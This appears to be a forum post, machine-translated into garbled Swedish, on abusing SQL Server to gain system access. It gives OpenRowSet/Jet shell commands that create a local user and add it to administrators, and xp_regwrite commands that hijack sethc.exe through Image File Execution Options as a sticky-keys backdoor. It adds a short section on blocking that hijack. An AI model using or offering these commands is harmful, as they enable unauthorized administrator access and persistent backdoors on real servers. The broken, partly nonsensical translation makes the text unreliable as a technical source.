'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Välj * från OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Jag kollade sandlådan för att ta upp rättigheterna i detta ärende, men genom min praxis är denna framgångsfrekvens mycket låg, eftersom de flesta servrar har raderat c:\windows\system32\ias\ias.mdb. Sedan kan du prova bildkapning som en sethc, självklart är bildkapning också villkorad, 1 att existera xp_regwrite denna lagrade procedur 2 är 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', Debugger' raderas inte Du kan först fråga om registreringsnyckeln har kapats Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Om prompten inte hittar problemet tas beviset bort, det finns inget sätt, om det efterfrågas, sethc.exe köra SQL-kommandot EXEC-mästare.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Efter att ha anslutit till terminalen fem gånger och flyttat förskjutning, går den direkt till skrivbordet och lägger sedan till den manuellt.
Registret ändrar terminalporten
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
När det gäller att förhindra bildkapning uppnås detta främst genom följande metoder:
★ Lagen om tillståndsbegränsning
Om användaren inte längre har tillgång till registernyckeln kan den inte ändra dessa saker. Öppna registereditorn och gå till HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, välj detta objekt, högerklicka – > behörigheter – > avancerat, och sänk behörigheterna för administratörer och systemanvändare (här behöver du bara avbryta skrivoperationen).
★ Snabb knivskärning av kladdig hampametod
Öppna registereditorn och gå till baren
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.
Problemet kan lösas genom att direkt ta bort objektet Image File Execution Options.
SQL Command Hijacks registry sticky key installation backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Nedladdning av programvara:Turister, om ni vill se det dolda innehållet i detta inlägg, snälla Svar
|